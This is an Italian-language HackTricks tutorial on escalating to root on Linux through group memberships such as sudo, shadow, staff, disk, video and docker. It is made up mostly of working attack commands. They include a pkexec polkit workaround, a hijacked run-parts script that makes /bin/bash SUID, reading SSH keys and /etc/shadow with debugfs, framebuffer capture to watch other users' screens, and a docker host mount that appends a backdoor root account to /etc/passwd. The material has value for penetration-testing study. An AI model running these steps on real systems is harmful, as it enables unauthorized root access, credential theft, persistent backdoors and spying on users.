| .. | ||
| lxd-privilege-escalation.md | ||
| README.md | ||
Gruppi Interessanti - Linux Privesc
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 Gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Gruppi Sudo/Admin
PE - Metodo 1
A volte, per impostazione predefinita (o perché alcuni software ne hanno bisogno) all'interno del file /etc/sudoers è possibile trovare alcune di queste righe:
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
Questo significa che qualsiasi utente che appartiene al gruppo sudo o admin può eseguire qualsiasi comando come sudo.
Se questo è il caso, per diventare root puoi semplicemente eseguire:
sudo su
PE - Metodo 2
Trova tutti i binari suid e controlla se c'è il binario Pkexec:
find / -perm -4000 2>/dev/null
Se trovi che il binario pkexec è un binario SUID e appartieni a sudo o admin, probabilmente potresti eseguire binari come sudo usando pkexec.
Questo perché di solito sono quei gruppi all'interno della polkit policy. Questa policy identifica fondamentalmente quali gruppi possono utilizzare pkexec. Controllalo con:
cat /etc/polkit-1/localauthority.conf.d/*
Nel file troverai quali gruppi sono autorizzati ad eseguire pkexec e per impostazione predefinita in alcune distribuzioni Linux compaiono i gruppi sudo e admin.
Per diventare root puoi eseguire:
pkexec "/bin/sh" #You will be prompted for your user password
Se provi ad eseguire pkexec e ottieni questo errore:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
Non è perché non hai le autorizzazioni ma perché non sei connesso senza una GUI. E c'è un modo per aggirare questo problema qui: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Hai bisogno di 2 sessioni ssh diverse:
{% code title="session1" %}
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
{% endcode %}
{% code title="session2" %}
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
{% endcode %}
Gruppo Wheel
A volte, per impostazione predefinita all'interno del file /etc/sudoers è possibile trovare questa riga:
%wheel ALL=(ALL:ALL) ALL
Questo significa che qualsiasi utente che appartiene al gruppo wheel può eseguire qualsiasi comando come sudo.
Se questo è il caso, per diventare root puoi semplicemente eseguire:
sudo su
Gruppo Shadow
Gli utenti del gruppo shadow possono leggere il file /etc/shadow:
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
Quindi, leggi il file e cerca di violare alcuni hash.
Gruppo Staff
staff: Consente agli utenti di aggiungere modifiche locali al sistema (/usr/local) senza necessità di privilegi di root (nota che gli eseguibili in /usr/local/bin sono nel percorso di ricerca di qualsiasi utente e possono "sovrascrivere" gli eseguibili in /bin e /usr/bin con lo stesso nome). Confronta con il gruppo "adm", che è più legato al monitoraggio/sicurezza. [fonte]
Nelle distribuzioni debian, la variabile $PATH mostra che /usr/local/ verrà eseguito con la massima priorità, che tu sia un utente privilegiato o meno.
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Se riusciamo a dirottare alcuni programmi in /usr/local, possiamo facilmente ottenere i permessi di root.
Dirottare il programma run-parts è un modo facile per ottenere i permessi di root, poiché la maggior parte dei programmi eseguirà un comando simile a run-parts (come crontab, all'accesso via ssh).
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
o Quando viene effettuato un nuovo accesso alla sessione ssh.
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
2024/02/01 22:02:10 CMD: UID=0 PID=17883 | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0 PID=17884 | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0 PID=17886 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0 PID=17887 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0 PID=17888 | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0 PID=17889 | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
Sfruttare
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash
# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts
# 0x3 start a new ssh sesstion to trigger the run-parts program
# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash
# 0x5 root it
$ /bin/bash -p
Gruppo Disco
Questa autorizzazione è quasi equivalente all'accesso di root poiché consente di accedere a tutti i dati all'interno della macchina.
File: /dev/sd[a-z][1-9]
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
Nota che utilizzando debugfs puoi anche scrivere file. Ad esempio, per copiare /tmp/asd1.txt in /tmp/asd2.txt puoi fare:
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
Tuttavia, se provi a scrivere file di proprietà di root (come /etc/shadow o /etc/passwd) otterrai un errore di "Permesso negato".
Gruppo Video
Utilizzando il comando w puoi trovare chi è collegato al sistema e mostrerà un output simile al seguente:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
Il tty1 significa che l'utente yossi è connesso fisicamente a un terminale sulla macchina.
Il gruppo video ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per farlo è necessario acquisire l'immagine corrente sullo schermo in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in /dev/fb0 e potresti trovare la risoluzione di questo schermo su /sys/class/graphics/fb0/virtual_size
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
Per aprire l'immagine grezza puoi utilizzare GIMP, selezionare il file **screen.raw ** e selezionare come tipo di file Dati immagine grezzi:
Successivamente, modifica la larghezza e l'altezza con quelle utilizzate sullo schermo e controlla i diversi Tipi di Immagine (e seleziona quello che mostra meglio lo schermo):
Gruppo Root
Sembra che per impostazione predefinita i membri del gruppo root potrebbero avere accesso per modificare alcuni file di configurazione del servizio o alcuni file di librerie o altre cose interessanti che potrebbero essere utilizzate per l'escalation dei privilegi...
Verifica quali file possono essere modificati dai membri del gruppo root:
find / -group root -perm -g=w 2>/dev/null
Gruppo Docker
È possibile montare il filesystem radice della macchina host su un volume dell'istanza, in modo che quando l'istanza viene avviata carichi immediatamente un chroot in quel volume. Questo ti dà effettivamente i permessi di root sulla macchina.
docker image #Get images from the docker service
#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
Gruppo lxc/lxd
{% content-ref url="./" %} . {% endcontent-ref %}
Gruppo Adm
Di solito i membri del gruppo adm hanno le autorizzazioni per leggere i file di log situati dentro /var/log/.
Pertanto, se hai compromesso un utente all'interno di questo gruppo dovresti sicuramente dare un'occhiata ai log.
Gruppo Auth
Dentro OpenBSD il gruppo auth di solito può scrivere nelle cartelle /etc/skey e /var/db/yubikey se vengono utilizzate.
Queste autorizzazioni possono essere sfruttate con l'exploit seguente per escalare i privilegi a root: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot